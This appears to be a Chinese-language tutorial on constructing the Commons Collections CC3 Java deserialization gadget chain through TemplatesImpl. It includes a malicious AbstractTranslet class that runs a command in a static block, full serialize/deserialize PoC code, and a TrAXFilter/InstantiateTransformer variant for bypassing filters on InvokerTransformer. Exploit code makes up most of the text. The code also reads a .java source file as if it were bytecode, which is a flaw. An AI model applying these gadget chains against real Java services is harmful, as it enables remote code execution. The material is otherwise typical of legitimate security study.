根据java类的动态加载原理,我们知道动态类加载可以通过ClassLoader来完成。而其中有个ClassLoader.defineClass可以从字节码加载任意类。
因为在ClassLoader里的defineClass都是私有的,我们需要找到公有的defineClass方法,然后在ClassLoader.defineClass里反向寻找哪里有公有或者default类型的defineClass方法
TemplatesImpl
可以看到com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
的TransletClassLoader方法
可以看到这里存在一个内部类 TransletClassLoader,这个类是继承 ClassLoader,并且重写了 defineClass 方法
Class defineClass (byte [] b) { return this .defineClass((String)null , b, 0 , b.length); }
这里的 defineClass 由其父类的 protected 类型变成了一个 default 类型的方法,可以被类外部调用
寻找调用TransletClassLoader的方法。
找到了getTransletInstance()
private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].getConstructor().newInstance(); translet.postInitialization(); translet.setTemplates(this ); translet.setOverrideDefaultParser(_overrideDefaultParser); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null ) { translet.setAuxiliaryClasses(_auxClasses); }
可以看到这里的逻辑
我们需要_name不为null ,_class是null才行可以来调用TransletClasses
因为是私有属性所以我们还得继续找
直接往上面找
public synchronized Transformer newTransformer () throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl (getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
这个 TemplatesImpl的链子 这就非常方便了
所以整条链子就是
/* TemplatesImpl#getOutputProperties() TemplatesImpl#newTransformer() TemplatesImpl#getTransletInstance() TemplatesImpl#defineTransletClasses() TransletClassLoader#defineClass() */
那么我们就直接来构造
getTransletInstance private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].getConstructor().newInstance(); translet.postInitialization(); translet.setTemplates(this ); translet.setOverrideDefaultParser(_overrideDefaultParser); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null ) { translet.setAuxiliaryClasses(_auxClasses); }
这里我们需要给_name进行赋值 _class赋值为空
defineTransletClasses private void defineTransletClasses () throws TransformerConfigurationException { if (_bytecodes == null ) { ErrorMsg err = new ErrorMsg (ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException (err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction () { public Object run () { return new TransletClassLoader (ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); try { final int classCount = _bytecodes.length; _class = new Class [classCount]; if (classCount > 1 ) { _auxClasses = new HashMap <>(); } for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } }
_bytecodes需要赋值不然会报错
_bytecodes[i]则是我们需要注入的内容
那么我们对这三个内容进行赋值
对_name进行赋值
**Class** c = templates.getClass(); **Field** nameField = c.getDeclaredField("_name" ); nameField.setAccessible(**true **); nameField.set(templates,"guofen" );
这里修改_bytecodes需要注意
Class **defineClass**(**final ** **byte **[] b) { **return ** defineClass(**null **, b, 0 , b.length); }
defineClass
方法只能吃一维数组,但 _bytecodes
属性设计成二维数组,可能是为了支持同时加载多个类
于此同时我们这里需要写一个恶意的类
import java.io.IOException;public class test { static { try { Runtime.getRuntime().exec("mate-calc" ); } catch (IOException e){ e.printStackTrace(); } } }
那么这里的_bytecodes就可以这样进行赋值
byte [] code = Files.readAllBytes(Paths.get("D:\\CTF\\Audacity\\java project\\cc1\\src\\main\\java\\test.java" ));byte [][] codes ={code};Field bytecodesFiled = c.getDeclaredField("_bytecodes" );bytecodesFiled.setAccessible(true ); bytecodesFiled.set(templates,codes);
最后_tfactory
变量的赋值难点核心在于其被transient
修饰符限制的特性,以及反序列化机制对这类字段的特殊处理逻辑
transient
关键字会阻止字段被默认的序列化机制持久化。例如,当对象被写入ObjectOutputStream
时,_tfactory
的值不会被保存到字节流中
类比 :就像快递包裹里有一张便签写着“此物品禁止运输”,快递员(序列化机制)会直接忽略它
反序列化时的默认值 在反序列化过程中,未通过自定义逻辑处理的transient
字段会被初始化为默认值(如对象类型为null
,基本类型为0/false等)
示例 :若_tfactory
未被手动赋值,反序列化后其值为null
,后续调用可能导致NullPointerException
由于transient
字段无法通过默认反序列化机制恢复,唯一赋值途径是重写readObject
方法 ,并在其中手动初始化该字段
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javax.xml.transform.TransformerConfigurationException;import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;public class cc3 { public static void main (String[] args) throws IOException, NoSuchFieldException, TransformerConfigurationException, IllegalAccessException { TemplatesImpl templates = new TemplatesImpl (); Class c = templates.getClass(); Field nameField = c.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"guofen" ); byte [] code = Files.readAllBytes(Paths.get("D:\\CTF\\Audacity\\java project\\cc1\\src\\main\\java\\test.java" )); byte [][] codes ={code}; Field bytecodesFiled = c.getDeclaredField("_bytecodes" ); bytecodesFiled.setAccessible(true ); bytecodesFiled.set(templates,codes); Field tfactoryField = c.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates, new TransformerFactoryImpl ()); templates.newTransformer(); } }
这里看看报错
定位问题所在处
try { final int classCount = _bytecodes.length; _class = new Class [classCount]; if (classCount > 1 ) { _auxClasses = new HashMap <>(); } for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } }
代码流程 在 defineTransletClasses
方法中,TemplatesImpl
会遍历 _bytecodes
数组(存储恶意类字节码)并加载每个类。对于每个加载的类,检查其父类是否为常量 ABSTRACT_TRANSLET
(即 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
):
如果父类匹配 :将当前类索引 i
赋值给 _transletIndex
,标记为“主类”。
如果不匹配 :将类存入 _auxClasses
(辅助类集合)。
空指针错误的原因 当所有类的父类都不匹配 ABSTRACT_TRANSLET
时,_transletIndex
保持初始值 -1
。此时代码进入 if (_transletIndex < 0)
分支,抛出 TransformerConfigurationException
,导致执行终止
_auxClasses
的陷阱 即使尝试通过 _auxClasses
绕过父类检查,以下问题也会导致失败:
_auxClasses
在初始化时是空 HashMap
(仅当 classCount > 1
时才创建)。
即使强行赋值,后续流程仍依赖 _transletIndex
的有效性,无法跳过父类校验
唯一可行的路径是 **让至少一个类的父类等于 ABSTRACT_TRANSLET
**,从而:
**赋值 _transletIndex
**:将恶意类标记为主类。
绕过异常分支 :避免因 _transletIndex
为负值触发错误
举一个生动的例子就是
这就像 考驾照必须通过驾校报名 ,TemplatesImpl
规定:所有加载的类必须“挂靠”在 AbstractTranslet
这个驾校名下,否则直接取消考试资格!
校验逻辑 TemplatesImpl
在加载类时,会检查每个类的父类是否是 AbstractTranslet
。如果是,就标记为合法(给 _transletIndex
赋值),否则直接丢进“黑名单”(_auxClasses
)
绕过校验的唯一方法 恶意类必须声明继承 AbstractTranslet
,例如:
public class EvilClass extends AbstractTranslet { static { Runtime.getRuntime().exec("calc" ); } public void transform (DOM document, SerializationHandler[] handlers) {} public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) {} }
这样加载时才能通过父类校验,触发后续代码执行
所以我们将恶意类进行一个继承
import java.io.IOException;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class test extends AbstractTranslet { static { try { Runtime.getRuntime().exec("mate-calc" ); } catch (IOException e){ e.printStackTrace(); } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
最后还是利用CC1后半部分的链调用templates的newTransformer方法,后部分链用CC6应该可以
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import javax.xml.transform.TransformerConfigurationException;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class cc3 { public static void main (String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, IOException, NoSuchFieldException, NoSuchMethodException, InvocationTargetException, TransformerConfigurationException { TemplatesImpl templates = new TemplatesImpl (); Class<? extends TemplatesImpl > tCalss = templates.getClass(); Field name = tCalss.getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates,"guofen" ); byte [] bytes = Files.readAllBytes(Paths.get("D:\\CTF\\Audacity\\java project\\cc1\\src\\main\\java\\test.java" )); byte [][] codes = {bytes}; Field bytecodes = tCalss.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); bytecodes.set(templates,codes); Transformer[] transformers = { new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" ,null ,null ) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put("value" ,"deadbeef" ); Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap, null , chainedTransformer); Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> annotationInvocationHandler = clazz.getDeclaredConstructor(Class.class, Map.class); annotationInvocationHandler.setAccessible(true ); Object o = annotationInvocationHandler.newInstance(Target.class,transformedMap); serialize(o); unserialize(); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); oos.close(); } public static void unserialize () throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream ("ser.bin" )); ois.readObject(); ois.close(); } }
上面的poc最后是用InvokerTransformer
类的transform调用的templates的newTransformer方法;
那么如果是InvokerTransformer被过滤了这个时候我们应该该怎么办呢
还有一种方法可以通过InstantiateTransformer
类的transform
调用TrAXFilter
的构造方法类调用templates的newTransformer方法;
TrAXFilter
调用了newTransformer
方法,而且templates是可控的
public TrAXFilter (Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl (_transformer); _useServicesMechanism = _transformer.useServicesMechnism(); }
TemplatesImpl templates = new TemplatesImpl (); Class<? extends TemplatesImpl > tCalss = templates.getClass(); Field name = tCalss.getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates,"guofen" ); Field tfactory = tCalss.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates,new TransformerFactoryImpl ()); byte [] bytes = Files.readAllBytes(Paths.get("D:\\CTF\\Audacity\\java project\\cc1\\src\\main\\java\\test.java" )); byte [][] codes = {bytes}; Field bytecodes = tCalss.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); bytecodes.set(templates,codes); Class<?> trAXFilterClass = TrAXFilter.class; Constructor<?> constructor = trAXFilterClass.getConstructor(Templates.class); constructor.newInstance(templates);
InstantiateTransformer
的transform方法,可以调用任意一个类的有参构造方法,所以就可以尝试调用TrAXFilter
的构造方法,并把templates传递过去
public InstantiateTransformer (Class[] paramTypes, Object[] args) { super (); iParamTypes = paramTypes; iArgs = args; } public Object transform (Object input) { try { if (input instanceof Class == false ) { throw new FunctorException ( "InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); } Constructor con = ((Class) input).getConstructor(iParamTypes); return con.newInstance(iArgs); ......
最后将poc中的transformers数组改成下面这样,也是可以的;
Transformer[] transformers = { new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}) };
最后从网络上找到绕过IvokerTransform的路线的路径图